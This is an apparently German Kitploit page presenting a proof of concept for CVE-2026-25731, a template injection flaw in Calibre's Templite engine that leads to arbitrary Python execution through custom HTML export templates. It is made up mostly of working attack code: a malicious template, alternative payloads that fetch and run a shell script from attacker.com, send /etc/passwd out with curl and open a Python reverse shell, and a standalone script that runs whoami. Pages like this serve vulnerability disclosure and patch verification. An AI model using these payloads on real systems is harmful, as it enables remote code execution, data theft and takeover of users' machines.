CVE-2026-25731 — Proof of Concept für eine Server-Side Template Injection (SSTI)-Schwachstelle in Calibres Templite-Engine (GHSA-xrh9-w7qx-3gcc). Demonstriert die Ausführung beliebigen Python-Codes über benutzerdefinierte HTML-Exportvorlagen in betroffenen Versionen (≤ 9.1.0). | Kitploit

# Zeile 72: Template wird zu Python-Code kompiliert
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Zeile 90: Kompilierter Code wird über eval() ausgeführt
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Ausführung beliebigen Codes

# Zeilen 96-98: Vom Benutzer bereitgestellte Template-Datei wird geladen
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Zeile 136: Template wird an die verwundbare Templite-Engine übergeben
templite = Templite(template_html_index_data)

<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

# Befehlsausführung
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# Datei-Exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Reverse Shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# Befehlsausführung
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render())  # Gibt den aktuellen Benutzernamen aus

# Datei lesen
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render())  # Gibt die erste Zeile von /etc/passwd aus

CVE-2026-25731

Beliebteste

PoC

1. Erstellen Sie eine bösartige Template-Datei

2. Führen Sie die E-Book-Konvertierung mit dem bösartigen Template aus

3. Verifizieren Sie die Code-Ausführung

Alternative Payloads

Eigenständige Verifizierung

Auswirkungen